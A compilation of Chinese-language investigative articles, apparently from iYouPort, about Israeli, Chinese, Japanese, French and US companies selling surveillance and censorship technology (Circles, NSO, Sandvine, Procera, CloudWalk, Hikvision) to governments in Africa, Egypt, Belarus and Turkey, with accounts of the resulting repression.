Tribunal Declares Trump and Duterte Guilty of Crimes Against Humanity. Even if the ICC does not ultimately investigate and prosecute war crimes and crimes against humanity committed by military and police officials of the Philippine government, other countries could bring the offenders to justice under the well-

established principle of universal jurisdiction.

原文

如此昂贵的以色列间谍软件居然能在非洲扎根：这7国政府做了什么 - iyouport

以色列和NSO-间谍产业的领主协助暴政的家伙们

这是一个非常典型的案例，关于地缘政治互利关系如何对公民构成真正和直接的人身威胁

您还在认为 “穷国” 买不起高端危险的监控技术吗？他们可能 “没钱” 买疫苗，但对于间谍软件的购买，总是有钱的 …… 并且，这不只是钱的问题这么简单。

随着互联网普及率和智能手机在非洲各地的使用增加，数字空间在组织反对派运动中变得越来越重要。作为回应，一些国家政府有时会关闭互联网或封锁社交媒体应用程序。但是最近，一些政权已经转而使用数字监控技术，以更微妙的方式来镇压抵抗。

多伦多大学的公民实验室（Citizen Lab）在最近一份名为《Running in Circles》的报告中详细介绍了全球**25**个国家政府如何使用以色列电信公司 **Circles** 开发的工具。它的技术只卖给民族国家。这种监控工具可以拦截**3G**网络的所有数据，让渗透者读取信息、电子邮件，并在人们拨打电话时进行实时的监听。只需使用一个电话号码，**Circles** 平台就能在几秒钟内确定世界上任何地方的手机位置，而无需搜查令。

Circles 隶属于臭名昭著的NSO集团，该集团的 Pegasus 间谍软件已被广泛用于监视人权维护者和记者。

- 在我们的专栏看到详细内容《关于以色列和NSO》

但与该技术不同的是，**Circles** 的工具并不需要目标点击恶意链接 —— 简单说 “无交互”。它的工作原理是利用***SS7*** 的缺陷，SS7是一套允许网络之间相互交换电话和短信的协议。SS7主要用于2G和3G系统，在2019年成为撒哈拉以南非洲地区的主要移动技术，占所有连接的45%以上。

- 《什么是 SS7，据称中国正用它来窥探特朗普的手机？》

由于速度更快、可能更安全的4G网络距离成为非洲移动连接的标准还有数年的时间，**Circles** 监控技术是渴望权力的非洲领导人监视政治批评者的理想选择。事实上，在25个被认为可能使用 Circles 监控工具的国家中，有7个国家在非洲大陆。

1、尼日利亚

「图」

Citizen Lab 检测到两个 Circles 监控系统正在尼日利亚被使用。它确定一个可能的客户是尼日利亚国防情报局(DIA)，而《Premium Times》2016年的调查发现，三角洲和巴耶尔萨州的州长都在使用 **Circles** 监视政治反对派。

尼日利亚使用监视技术对付民间社会和政府批评者的历史由来已久。曾多次被拘留的拉各斯政治活动家费米·阿德耶（Femi Adeyeye）列举了几个案例 —— 如奥莫耶莱1索沃雷（Omoyele Sowore）、阿布巴卡尔·伊德里斯·达迪亚塔（Abubakar Idris Dadiyata）和斯蒂芬·凯法斯（Stephen Kefas）的案例，在这些案例中，尼日利亚人在批评政府后被迅速追踪、逮捕和拘留。保护记者委员会（CPJ）也报告了许多尼日利亚当局针对记者的电话监视的案例。

“我们已经处于最糟糕的独裁阶段”，阿德耶说，“言论自由、媒体和政治结社自由已经被这种间谍技术进一步削弱。”

他建议政治分析家现在进行自我审查，特别是自从目睹了政府在2020年末对 #EndSARS 反对警察暴行运动的渗透之后。“他们看到了人们如何被追踪，他们的护照被扣押，银行账户被冻结，他们被迫流亡”，他说。

2、津巴布韦

「图」

在津巴布韦发现了三个 Circles 监控平台。其中一个的使用可以追溯到2013年，而另一个则在2018年3月被激活。

津巴布韦政府长期以来一直针对其批评者和反对者。去年，调查记者。 Hopewell Chin’ono 和反对派政治家 Jacob Ngarivhume 在反政

府抗议活动前就被拘留。Circles 监控技术很可能为这种镇压提供了便利。

3、赤道几内亚

「图」

在赤道几内亚，Circles 监控技术自**2013**年起开始运作。40年来，特奥多罗·奥比昂总统通过使用酷刑、法外处决、任意逮捕以及迫害政治活动家和人权维护者等方式镇压反对派，部分地保持了权力。

奥比昂用暴力镇压抗议活动，无视选举改革和任期限制的要求。该监视手段可能是他的工具箱的重要组成部分。

4、摩洛哥

「图」

摩洛哥内政部自2018年以来一直是 Circles 监视软件的客户。拉巴特有利用数字技术非法针对人权活动家的历史。

5、博茨瓦纳

「图」

尽管被誉为非洲最民主的国家之一，但博茨瓦纳的情报和安全局（DISS）与两个 Circles 监视系统有关，可追溯到2015年。DISS以调查政治腐败的记者为针对目标而闻名。

据反对派“民主变革伞”（Umbrella for Democratic Change）发言人莫埃蒂·莫瓦萨（Moeti Mohwasa）称，以色列公司多年来一直在向博茨瓦纳政府出售间谍软件。他指称，这种设备被用来窃听反对派政治家和工会领导人。

6、肯尼亚

「图」

公民实验室发现肯尼亚正在使用 Circles 监控系统。这并没有让苏海尔·奥马尔感到惊讶，他在内罗毕研究治安、监视和军国主义。

“在肯尼亚，言论自由和媒体自由不断受到威胁。乌胡鲁·肯雅塔政权对肯尼亚的宪政支持者和任何形式的反对派发动了一场战争”，他说，“肯尼亚政府严重依赖对公民的监控来打击任何形式的反对派。”

7、赞比亚

「图」

赞比亚似乎是 Circles 监视软件的另一个客户。其政府也有对其批评者使用监控的广泛记录。2019年，当局逮捕了一群运营反对派新闻网站的博主，据称是借助赞比亚电信监管机构的一个网络监控单位，用来确定这些博主的所在地理位置。目前还不知道是否使用了 Circles 监控系统，但该技术显然具有这些功能。

以色列政府是否应该承担责任？

「图」

使用这些监控技术的最终责任在于为其支付巨额费用的政府机构。然而，一些活动家认为，以色列政府也应该承担一些责任，因为它允许 Circles 等有问题的监控技术公司运营，并向它们提供出口许可证。

以色列部长 Zeev Elkin 驳斥了这一建议，坚持认为“每个人都明白，这与以色列国家无关”。但许多人不同意。

奥马尔说：“以色列政权积极扶持了乌胡鲁·肯雅塔的专制主义”。Mohwasa 就博茨瓦纳政府提出了同样的论点，他认为博茨瓦纳政府正在日益侵蚀公民权利，“以色列正在帮助这些危险的趋势”，他补充道。

2020年1月，大赦国际在以色列提起诉讼，要求国防部禁止出口侵入性间谍软件。7月，一家法院拒绝了这一诉讼。

有分析人士认为，出售间谍设备其实是以色列在非洲开展外交魅力攻势的重要组成部分。特拉维夫近年来一直在与非洲大陆各国政府建立更紧密的合作关系，希望以此削弱非洲对巴勒斯坦的声援，并在联合国获得支持票。帮助这些统治者继续掌权—— 即使以广泛的民众自由为代价—— 也是交朋友的一种方式。〇

The seven African governments using Israeli cyberespionage tools

原文

步调一致为镇压 - iYouPort

作恶者：中国在帮谁协助暴政的家伙们

中国和日本究竟是不是敌对关系？不知道。但至少在一件事上，这俩国家异口同声地默契起来了，那就是：镇压。在哪里实现的？

当津巴布韦的军队将罗伯特穆加贝推下台时，欢呼的居民在哈拉雷的街道上庆祝；而上个月，在燃料价格翻倍的抗议活动发生数天之后，安全部队发起了大规模的镇压行动，造成12人死亡，600人被捕。津巴布韦政府还下令在全国范围内首次关闭互联网。

该国最大的移动服务提供商 Econet Wireless 表示，在政府下令后，该服务已暂停。该公司在给客户的短信中说："我们有义务在被指示的情况下采取行动，而且这件事是我们无法控制的。" 在一篇 Facebook 帖子中，1999年成立 Econet Wireless 之后发了财的流亡津巴布韦亿万富翁斯蒂夫·马西瓦（Strive Masiyiwa）称："政府行为"迫使该公司关闭互联网连接。他补充说，他被告知"如果不遵守规定将导致我们的管理人员被监禁三年。"

最近该国恢复了部分互联网服务，但 Facebook，WhatsApp 和 Twitter 等社交媒体应用和消息服务仍然被封锁。

津巴布韦对互联网的攻击是源于政府最近开始试图将其意志强加给普通的津巴布韦人，引起了观察家和活动家的恐惧。一年前，即将上任的总统 Emmerson Mnangagwa 承诺启动一个"新民主国家"并结束该国的政治分歧。在"纽约时报"发表的一篇文章中，Mnangagwa 发誓要将津巴布韦变成一个"经济蓬勃发展、青年就业、投资者机会、民主和所有人平等权利"的国家。

在穆加贝下台后的那一年—— 曾经此人宣称"只有上帝会驱逐我"—— 津巴布韦的经济问题日益恶化，因为该国正面临巨额债务，基础设施受损，食品价格飙升，恶性通货膨胀和失业。

由于未能带来繁荣，津巴布韦政府现在似乎决心在其数字和公共空间

的各个方面建立统治权。结果是，该国邀请中国和日本的公司帮助建立一个监视国家，活动家和研究人员担心未来的情况可能比穆加贝时代更加糟糕。

“关闭互联网已成为一种先发制人的策略。罗伯特·穆加贝（Robert Mugabe）因侵犯人权行为而受到谴责，但他至少没有下令断网。而新政府没有表现出任何保护权利的政治意愿，“Jeffrey Smith 说，他是倡导开放民主基金会 Vanguard Africa 的创始人，对津巴布韦特别感兴趣。

津巴布韦律师阿瑟·格瓦格（Arthur Gwagwa）是斯特拉斯莫尔大学法学院的网络威胁建模专家和开放技术基金会研究员，他说，最近互联网关闭可能是未来侵犯人权的预兆。“逮捕、折磨和殴打是在关闭互联网的阴影下进行的，所以人们都很害怕，”他说。

津巴布韦对在线和离线空间的控制主要依赖于外国供应商，这些供应商为政府提供了大量新的网络控制工具。去年11月，日本驻津巴布韦大使 **Toshiyuki Iwado** 向津巴布韦财政部长 **Mthuli Ncube** 提供了价值**360**万美元的网络监视设备。据日本驻津巴布韦大使馆称，该补助金是日本“网络防范犯罪设备供应补助金项目”的一部分。

津巴布韦的通信技术部长更加关注该技术的用途。Kazembe Kazembe 说，警方将部署它以推动数字取证和面部识别系统，并引入一个新的数据共享平台。该技术还将允许政府利用电子通信来防止犯罪和动物走私进入津巴布韦。

但是，技术专家担心，日本的拨款可能会用来帮助政府打击异议。

Gwagwa 说：“虽然日本并不是津巴布韦扼杀其人民的盟友，但日本可能无法控制其技术可能被采用的邪恶目标。” 他补充说，“政府眼中的民主活动家可能被归类为野生动物走私者的一部分。”

并且，日本合同只是同一波进口监控技术的一部分。另一部分则是：中国。中国最近参与建立了国家人工智能面部识别数据库。根据官媒环球时报称，总部位于广州的创业公司 "CloudWalk Technology" 去年与津巴布韦签署了一项协议，提供全国范围内布设的面部识别监视软件。

该协议是“一带一路”的一部分，这是中国的所谓软实力计划，将扩展到建设机场、铁路和公交车站以及智能金融系统等基础设施。中国历来是津巴布韦的亲密盟友，是该国陷入困境的经济中最大的金融投资

者。中国已投资数十亿美元用于钻石和铂金矿、新高速公路和发电大坝。

这笔交易可能意味着津巴布韦是该地区首批采用这种技术的国家之一。CloudWalk 使用3D光线面部识别软件，在识别深色皮肤的脸部时比传统的面部识别技术效果更好。至关重要的是，这笔交易将让 **CloudWalk** 根据津巴布韦公民的生物数据训练算法。由此产生的信息将帮助中国建立世界上最全面和种族最多样化的面部识别数据库之一。

这让活动人士深感担忧。从本质上讲，津巴布韦可能会向一个不负责任的海外科技巨头赠送大量关于津巴布韦公民的私人数据。

“（这些交易）允许北京利用发展中国家作为实验室来改进其监测技术，”Gwagwa 说。

- 关于这点的更多详细介绍，见去年的报道《非洲人的脸被用来训练中国老大哥：北京正在努力将其监视技术输出到发展中国家》

这是更大模式的一部分。Gwagwa 表示，对于中国而言，人工智能技术的出口有多种用途。“这是双赢的外交—— 中国人工智能公司在收集和保留 DNA 的过程中，可以在肤色较深的非洲人身上训练他们的算法，同时建立数据中心以刺激数字贸易并帮助传统的经济交易。”

CloudWalk 的官员没有回应 Coda 的采访请求，但它告诉该国的环球时报说，“津巴布韦政府并非纯粹是为人工智能或面部识别技术来广州的，而是对基础设施等领域有一个全面的一揽子计划，包括技术与生物学。“

中国公司也在安哥拉和埃塞俄比亚签署了类似的协议。

另一项中国交易涉及津巴布韦共和国警方，该警察部队已经加入了专制技术行列，并将在哈拉雷引入强大的夜视监控摄像头；所有驾驶员被要求安装仪表板摄像头并将驾驶违规的视频上传到 Dropbox 文件夹。据警方称，目标是“遏制违规驾驶和犯罪行为”。在 Dropbox 中保存有捕捉到的驾驶者和公民的镜头、姓名和电子邮件地址等信息。

中国最臭名昭著的海康威视也向警方提供高科技监控摄像头。海康威视一直在与新疆的大规模监控项目密切合作，中国政府迫害维吾尔族穆斯林。海康威视在乌鲁木齐赢得的一个项目价值7900万美元，并包

含约30,000个监视摄像头。海康威视的项目还利用视频分析中心、大数据中心、警察检查站和无人机。

哈拉雷市议会还分别花费200万美元在整个城市的交通信号灯上安装海康威视的监控摄像头。“这些摄像机将帮助识别交通违规者，特别是那些阻碍交通畅通的人，”该市总工程师 George Munyonga 表示。摄像机将监控中央商务区内的所有道路和停车位。目前监视网络已经安装完成了70%。

总部位于约翰内斯堡的数字技术中心 iAfrikan 的创始人兼首席执行官 Tefo Mohapi 担心津巴布韦越来越依赖中国创建的监控系统。

“有许多切实的担忧，特别是关于像津巴布韦这样的政府已经证明它可以用任何手段侵犯公民权利，”他说。“其中之一就是限制那些反对国家的人的行动。”

津巴布韦国防军指挥官长期以来一直热衷于这种技术。

“作为一支军队，我们正在训练我们的军官，以便能够应对这种新的威胁，我们称之为网络战，其中武器不一定是枪支，但基本上是信息和通信技术，”Valerio Sibanda 说。

在其他时候，军队充分利用了互联网接入的优势。至关重要的是，在政变期间，军队允许不受限制地访问网络，以确保全球接受军队占领权力的叙述。

请注意这句话：“军队不是削减对网络的访问权限，而是允许自由流动的在线信息；但是，精心设计的话语和意见，“Gwagwa 说。“它利用软实力，让公民享有社交媒体自由[的假象]，作为一种允许快速交换信息的大战略。“

Gwagwa 将军队的战略与土耳其的例子进行了对比，土耳其总统雷杰普·埃尔多安使用 Facetime 来抵抗2016年的未遂政变。

“当数字信息具有高价值时，权威主导信息操纵是高度动态的。在津巴布韦，军队通过精心设计的方案精心挑选群众，**“Gwagwa** 说。“公众很容易接受这些叙述。”

更令人担忧的是，他认为军队成功操纵数字技术以适应其描绘的“开放与和平”权力转移的目标，可以在非洲范围内广泛传播。

Zimbabwe Drifts Towards Online Darkness: Ordinary Zimbabweans

face a new era of repression from surveillance systems created in China and Japan. “Authority led-information manipulation is highly dynamic when digital information has high value. In Zimbabwe the army carefully co-opted the masses through a choreographed scheme,” Gwagwa said. “The public easily bought into the narrative.”

原文

法国向埃及出售监视社会技术和武力镇压工具已造成大面积死亡和抓捕的人权灾难 - iYouPort

协助暴政的家伙们

1000多人死亡、6 万名政治犯、数以千计的法外处决和强迫失踪、系统性地使用酷刑、明显增加的死刑……八家法国公司 正在从这种惨无人道的镇压中获利，甚至获得了创纪录的利润！这究竟是为什么？

「图」

「图」

今天发表的一份新报告非常惊人，它揭示了法国政府和几家法国公司如何通过向 Sisi 政权提供军事和监视设备，从而参与了埃及过去五年的血腥镇压。

通过为埃及安全部门和执法机构提供强大的数字工具，这些公司帮助埃及当局建立了一个奥威尔式的大规模监控社会架构，用于消除一切形式的异议和公民行为。

自 2013 年7月由 Sisi 政权策划的军事政变以来，埃及社会一直处于无情的镇压阵痛中。其安全部门的镇压记录是基本是毁灭性的：通过军事手段驱散的和平示威活动（2013 年8月14日，人们在开罗的 Rabaa Al Adawiya 静坐，暴力镇压造成 **1000**多人死亡）;自 2013 年以来至少有 **6** 万名政治犯被监禁; 数以千计的法外处决和强迫失踪（包括 2013 年7月至 2016 年6月期间安全部门实施的 **2,811** 起强迫失踪案件）; 加之系统性地使用酷刑; 并且死刑明显增加。

尽管欧盟外交事务委员会于 2013 年 8月21 日宣布“成员国已决定暂停向埃及发送任何可用于国内镇压的设备的出口许可证”，但至少有八家法国公司—受到一个又一个政府的鼓励—他们还是从这种镇压中获利，甚至获得了创纪录的利润。 2010 年至 2016 年间，法国向埃

及运送的武器从 3960 万欧元增加到 13 亿欧元！

延伸阅读：民主国家及其公司长期以来如何通过向专制国家出售大规模监视设备，造成严重的人权危机—— 《"//监视之恶（二）公私监控伙伴关系//"》

“虽然欧洲理事会宣布停止出口军事设备和监视设备，以谴责埃及的独裁统治，但是法国依旧获得了市场份额，并实现了创纪录的出口！”FIDH 总裁 Dimitris Christopoulos 表示。

一些公司向造成数百名平民死亡的军队出售常规武器，包括在西奈：米斯特拉尔战舰（DCNS）; Fremm 护卫舰（DCNS）; 炮舰（Gowind）; 阵风战斗机; 装甲车（Arquus）; 云母空对空导弹，和 SCALP 巡航导弹（MBDA）; 以及两枚 ASM 空对地导弹（SAGEM）。

更值得一提的式，一些公司已经向埃及出售了用于大规模监控社会的技术设施（**AMESYS / NEXA / AM**系统）; 大规模拦截技术（**SUNERIS / ERCOM**）; 个人数据收集技术（**IDEMIA**）; 和人群控制技术（赛峰无人机，**AIRBUS / THALES** 卫星和 **Arquus** 以前叫 **RTD**）轻型装甲车很适应城市环境）。

通过这种销售，这些外国公司都参与了埃及政府广泛的监视和人群控制架构的建设，旨在防止所有异议和社会运动，并导致成千上万的反对者和活动家被捕。

“今天法国正在通过建立奥威尔式的监视和控制系统，致力于粉碎那群在 2011 年发起著名的埃及革命的活动家们。抗议活动目前在埃及已被扼杀“，CIHRS 主任 Bahey Eldin Hassan 说。

这里是具体报告（英文版，可免费下载）〇

原文

硅谷投资公司从监视国家中获利 - iYouPort

协助暴政的家伙们

在许多情况下，对监控和压制自己公民感兴趣的政府，都是美国的盟友，而且很少有规则来管理他们用来镇压其人民的技术

「图」

「图」

【按】由于我们以中文发布内容，于是在我们的列表中，将提供监视技术和监视协助给中国的外国案例单独分类汇总 —— 在 列表-4 “作恶者：谁在帮中国” 中；在这里，我们尽可能收集所有被曝光的对中国的监视技术出售和相关协助。如果您稍微注意一下就会发现，这其中最经常出现的就是美国公司。

但IYP的视角是全球，我们曾经发布的诸多调查报告都是针对某一种恶行分析其在全球范围内的表现；在监视技术出口方面，我们将这部分内容汇总在 列表-4 “协助暴政的家伙们” 中；而这其中最常出现的依旧包括美国公司，还有中国公司。

彭博社这篇报道虽然不够深入，不如独立的权利组织的调查，但是它的确说对了一句话：“在许多情况下，对监控和压制自己公民感兴趣的政府，都是美国的盟友，而且很少有规则来管理他们用来镇压其人民的技术”。

中国公司显然在监视技术出口方面与美国竞争，于是这里面不仅有金钱利益，还有政治和民族主义。于是彭博社寄希望于拜登政府对本国的监视技术出口加强管制的想法有些不大现实，因为中国不可能对此管制，更不用说加强了，而大国竞争的胜败考量加之经济利益，显然会高于道德考量。

「图」

「图」

Sandvine 公司的联合创始人 Don Bowman 一直意识到他的公司的产品所带来的风险。**Sandvine** 公司制造的是所谓的深度包检测设备，这些工具对垃圾邮件过滤和互联网网络管理来说很有用，但是，它也是监控和审查的常用工具。在 Bowman 的二十年任期内，Sandvine 公司“定期拒绝了潜在客户”，包括土耳其政府部分拥有的一家电信公司，该公司希望 Sandvine 帮助其监视电子邮件通信。

Bowman 说：“这可能会导致 —— 我们谈论的是记者消失，吹哨人被关进监狱”。他后来在安大略省基奇纳市成立了一家名为 Agilicus 的安全公司。“我们不想成为其中的一部分”，他说。

在旧金山一家主要投资于科技公司的私募股权公司 Francisco Partners Management LLC 于2017年收购 Sandvine 之后，这种担忧似乎并没有得到优先考虑。

据彭博新闻社对十多位知情人士的采访和查阅的文件显示，Francisco Partners 更换了包括 Bowman 在内的 Sandvine 公司整个高管团队，**Sandvine** 随后开始向人权记录堪忧的政府出售产品。Bowman 说，Sandvine 此前一直只与私营部门打交道，现在它对政府合同的追求代表着“公司的根本性转变”。

【注：这家美国私募股权公司曾经多次在引人注目的监视设备和间谍软件的披露报告中出现，比如以色列臭名昭著的监视技术公司**NSO**就被这家 **Francisco Partners** 出资**1.3**亿美元收购。见《这个富有的监视技术经销商浮出水面 …… 还有他那个900万美元WhatsApp骇客工具》、《数字威权主义的崛起：特朗普的鼓舞和美国盟友的积极》、以及《美国技术公司如何帮助埃尔多安的暴政对土耳其公民实施间谍行为》】

Sandvine 不公开其客户名单，并拒绝对此报道发表评论。但根据彭博社看到的文件，从2018年到2020年，该公司与阿尔及利亚、白俄罗斯、吉布提、埃及、厄立特里亚、伊拉克、肯尼亚、科威特、巴基斯坦、菲律宾、卡塔尔、新加坡、土耳其、阿联酋和乌兹别克斯坦等国家的政府达成了价值超过1亿美元的交易。人权组织“自由之家”在其政治自由度的排名中，将所有这些国家归为部分自由或不自由。在该组织考察的210个国家中，厄立特里亚被评为第206名，甚至比朝鲜还差。

在白俄罗斯总统亚历山大·卢卡申科的政权去年夏天在全国范围内因选

举争议而展开的抗议活动中利用其技术部分关闭互联网后，Sandvine 公司面临批评。Sandvine 在交易被公开后取消了这项交易，但维权组织向联邦和州政府官员施压，要求调查美国公司 Francisco Partners 和 Sandvine，美国参议员理查德·德宾(Richard Durbin) 也提出了是否违反美国对白俄罗斯制裁的问题。活动家在这两家公司的办公室前举行了示威活动。然而迄今为止，还没有进行任何公开的调查或指控。

「图」

「图」

Sandvine 联合创始人 Bowman

隶属于 Francisco Partners 的其他很多公司都因与专制政权进行交易而受到争议。据大赦国际、Access Now 和多伦多大学公民实验室等人权组织的报道，这些公司包括互联网监控公司 **Blue Coat Systems** 和 **Procera Networks**，以及"以色列 NSO" ，该公司制造的间谍软件可以入侵任何电话和电脑。

Francisco Partners 发言人表示，Sandvine “让世界上主要的通信提供商提供安全高效的互联网，并通过安全协议防止网站宣传儿童色情、恶意软件和其他犯罪活动”。他补充说，该公司 “深深地致力于商业道德实践，我们通过这个角度评估我们所有的投资”。这家美国公司表示，其所投资公司的商业道德委员会已经阻止了超过1亿美元的销售，这些销售本来是合法允许的。这家美国公司否认自己违反了制裁。

根据穆迪的数据，政府监控技术的市场每年约为**120**亿美元，而对深度包检测技术市场的估计将其定在这个规模的四分之一左右。

Francisco Partners 的高管们在很大程度上保持了他们的工作不被公众所关注，并且在营销材料中没有提及任何这方面的业务。这篇报道基于对该公司现任和前任员工及其资助的企业的采访，以及内部文件和财务文件，提供了关于 Francisco Partners 如何与世界上一些最具压迫性的政府开展业务的新细节。

在许多情况下，对监控和压制自己公民感兴趣的政府，都是美国的盟友，而且很少有规则来管理他们用来镇压其人民的技术。前美国驻俄罗斯大使、斯坦福大学弗里曼-斯波格利国际问题研究所所长迈克尔·麦克福尔说，“拜登政府应该制定新的出口管制和其他相关法规”。

在这之前，有一个市场机会，公民实验室的研究员乔纳森·潘尼（Jonathon Penney）说。“如果没有像美国公司 **Francisco Partners** 这样的资本和资源丰富的私募股权公司的支持，我们所看到的涉及这些间谍技术的许多滥用行为都是不可能发生的”，他说。“在法律责任方面存在着真正的差距，而且该行业有如此多的资金，以至于公司缺乏改变其经营方式的任何动机。”

政府监视技术的年度市场规模约为120亿美元

2019年，Francisco Partners表示，其业务战略是识别和整顿管理不善的公司。据其网站显示，自1999年成立以来，这家美国公司已经筹集了约240亿美元，投资了超过275家科技公司。

这个美国公司与硅谷著名风投基金红杉资本有长期合作关系，也曾与保罗·辛格的对冲基金 Elliott Management Corp.合作。2018年，Francisco Partners 宣布，黑石集团（Blackstone Group Inc.）和高盛集团（Goldman Sachs Group Inc.）收购了该公司的少数股权。

红杉资本发言人介绍说，红杉是 Francisco Partners 一些交易的被动投资者，并认为该公司 “在实践和政策上是有道德的”。Elliott Management 表示，它没有参与收购 NSO Group、Procera 和 Sandvine 的交易。黑石表示，它在 Francisco Partners 的股份不到 5%，不参与投资决策。高盛拒绝置评。

Francisco Partners 参与有争议的政府监视的行为可以追溯到 **2006** 年，当时它对加州技术公司 Blue Coat Systems 进行了一系列投资中的第一笔，并将 Francisco Partners 的合伙人 Keith Geeslin 纳入了公司董事会。

根据公司记录，**Blue Coat** 的收入从**2007**年**4**月的**1.777**亿美元增长到**2010**年**4**月的**4.96**亿美元，增长了一倍多。但它也开始引起负面关注。人权活动人士披露，叙利亚总统巴沙尔·阿萨德（**Bashar al-Assad**）政权在**2011**年的残酷镇压中，利用 **Blue Coat** 公司的技术阻断互联网的访问，并监视异议人士。公民实验室的研究人员后来发现，**Blue Coat** 的技术已经被用于伊朗和苏丹这些专制国家。

Blue Coat 当时表示，其设备 “在我们不知情的情况下被非法转移到禁运国家”。美国公司 Francisco Partners 则宣称，它只持有 Blue Coat 的少量股份，没有能力控制其运营。

2014年3月，Francisco Partners收购了以色列监控公司NSO集团的多

数股权。公民实验室和大赦国际至少从2016年起就揭露了该公司的间谍设备被用于针对沙特、阿联酋、墨西哥的异议人士、记者和人权活动家的电话窃听。在下面看到报告：

- 《以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家—亚洲有香港》
- 《以色列间谍软件公司出售监视技术和知识在130个国家针对记者、异议和LGBT人群》

NSO集团的一名高级员工表示，在收购**NSO**集团的几周内，美国公司 **Francisco Partners** 就开始密切控制业务的每一个方面 —— 该公司的代表参与批准其签署的每一笔交易。这位 NSO 集团的高级员工说，在美国公司 **Francisco Partners** 的指导下，以色列 **NSO** 集团的员工数量增长了六倍，达到 **600** 人，在此过程中提升了其全球的间谍技术业务和销售收入。

NSO 的一位前员工说，Francisco Partners 经常通过媒体报道了解到 NSO 在侵犯人权方面的指控，并努力进行调查。

有时，与NSO集团合作的 Francisco Partners 代表同意暂时关闭涉嫌不法行为的客户，但是他们不愿意采取永久性行动。“他们本可以做得更多，以控制客户最坏的冲动”，这位因签订保密协议而要求匿名的前员工说。

NSO集团的争议困扰着 Francisco Partners 的一些员工，甚至公司领导层在内部淡化这些争议。一位前员工说：“我们被告知，如果有些人不正确地使用技术，那只是少数”。他要求匿名，因为他们没有被授权公开发言。

Francisco Partners 发言人为其在NSO集团的记录辩护，称该公司 “拯救了生命，并证明对政府追捕罪犯有用”。这是最典型的狡辩，而且事实上，《"监视技术公司实际上 *受益于* 其人权丑闻的曝光"》。

据路透社报道，Francisco Partners 于2019年2月出售了其在NSO集团的股份，获得了约10亿美元的收益。这相当于在通膨调整后，回报率超过700%。

「图」

「图」

2020年9月18日，示威者和白俄罗斯国旗在美国公司 Francisco

Partners 旧金山总部外抗议

2015年，在收购NSO集团后不久，Francisco Partners 又收购了 Procera Networks，这是一家出售监控技术和管理数字网络技术的公司。据三名因签署了保密协议而要求匿名的 Procera 前员工透露，Procera 的发展方向很快就发生了变化。

其中一名员工说，在新的所有权下，**Procera** 变得更愿意将其设备卖给任何人。**Procera** 的员工对与埃及、土耳其和其他人权记录不佳的国家政府的交易表示担忧。有几个人辞职了。约翰·约恩森（Johan Jönsson）在 Francisco Partners 公司接管 Procera 的同时离开了 Procera，他说，他最初认为 Francisco Partners 公司与土耳其做生意是因为土耳其 “完全没有做好与 Procera 制造的那种间谍设备做生意的准备”。但是，Jönsson 说，在又发生了一系列有问题的销售之后，他得出的结论是，该公司 “非常愿意承担这些风险，并将经济利益置于道德之上。”

Francisco Partners 在2017年收购了 Sandvine，并将其与 Procera 合并。合并后的公司以 Sandvine 的名义运营，成为一家强大的全球深度包检测设备供应商。

Sandvine 设计了检测特定类型数据的方法，即使数据是加密的，因此其技术可以判断人们是否在发送 WhatsApp 消息或观看 Facebook 和 YouTube 视频，即使它无法监控内容。

Sandvine 首席技术官 Alexander Haväng 在8月份发给员工的内部通讯中提到，这项技术是为了吸引那些因加密而使监控工作变得复杂的政府。他写道：“**Sandvine** 的设备可以显示出谁在和谁说话，说了多长时间（也就是元数据），我们可以尝试发现试图在线匿名身份的任何人在网上上传了罪证内容”，他说。

据彭博社查阅的文件显示，2020年，Sandvine 与阿尔及利亚政府就一个项目达成协议，记录多达**1000**万人的互联网活动数据，并与约旦当局追求类似的合同。美国公司 Francisco Partners 否认白纸黑字。

两名现任员工和四名熟悉流程的前员工表示，Sandvine 成立了一个所谓的 “商业道德委员会”，以审查对人权记录不佳的国家的销售，但是，它很少否决任何销售。2018年初，Sandvine 高管决定将互联网审查的问题—— 或者该公司所说的 “流量拦截”—— 排除在道德审查之外，这意味着它不会考虑政府客户是否会使用间谍设备扰乱人们的互联网访问。

随后，白俄罗斯在全国范围内的抗议活动中，政府使用 Sandvine 的设备封锁了新闻网站、社交媒体平台、和消息传递应用。Haväng 最初告诉相关员工，Sandvine 不想扮演 “世界警察” 的角色，最后才改口。

Sandvine 表示，它要求白俄罗斯归还其购买的设备。但是，据 Francisco Partners 表示，该国政府拒绝了，Sandvine 不能强迫它这样做。

根据彭博新闻社审查的文件，这些监视设备一直在明斯克的两个数据中心被使用，它过滤了进出白俄罗斯的大部分互联网流量。该国的活动人士报告称，数十家新闻网站和政治网站仍然被封锁状态，并指出在去年10月的抗议活动中，有迹象表明政府利用 **Sandvine** 的设备破坏了加密聊天应用 **Telegram** 的使用。

“当我们听到 Sandvine 已经停止与政府合作的消息时，我们很满意”，白俄罗斯人权组织 “Human Constanta” 的联合创始人 Alexey Kozliuk 说，“但是，损害已经造成了。”〇

Silicon Valley Investment Firm Profits From Surveillance States

原文

美国技术公司如何帮助埃尔多安的暴政对土耳其公民实施间谍行为 - iYouPort

协助暴政的家伙们

又是来自 NSA 的歪点子；又是协助其他国家的大规模监视审查。这次的受益人是土耳其的暴政。“埃尔多安很疯狂，人们很可能因为这些信息的泄露而丧命！”；“商业道德被置于至关重要的位置，而非人性道德”……

「图」

「图」

Andsten 解释着他的不满："Procera 公司销售的深度包检测"技术已经成为了极权主义政权监控其公民的工具。“根据最近土耳其的一项要求……我签了这份合同。Cliffs Notes 版本是我们销售出去的解决方案，它用于从未加密的流量中提取用户名和密码“。在瑞典马尔默的 Procera 公司工作了9年后，Andsten 现在辞职了。

而作为一家美国技术公司，Procera 的高级决策团队认为土耳其的请求是“合法的”，该请求来自土耳其主要运营商 Turk Telekom 的中间人 — 安卡拉的网络专家 Sekom，该技术被解释为“跟踪欺诈者”。它是 Procera 公司的 600 万美元合同的一部分，该合同的技术可以帮助电信运营商管理互联网流量。通常深度包检测的无害用法是帮助发现恶意软件或更有效地路由数据。

但是，就和 Andsten所认为的一样，一群愤怒的瑞典工程师表示，他们被要求将无辜的技术转变成了邪恶的监视装备，并将其交给了一个越来越具有压制性特征的政权。“一名前雇员说：”马尔默已经跌入了地狱“。

根据不愿透露姓名的六位现任和前任员工泄露的 Procera 内部文件和通信显示，土耳其电信不仅要求提供未加密网站订户的用户名和密码，还要求他们的 IP 地址，更包括他们浏览过哪些网站、什么时候

浏览的等等。

“埃尔多安很疯狂，人们很可能因为这些信息的泄露而丧命！”一名前 Procera 员工告诉媒体说；另一个人说：“土耳其购买该技术的目的是对其人民的大规模监视……如果本公司领导层认为这就是我们必须做的事，他们至少应该公开回答这个问题。”

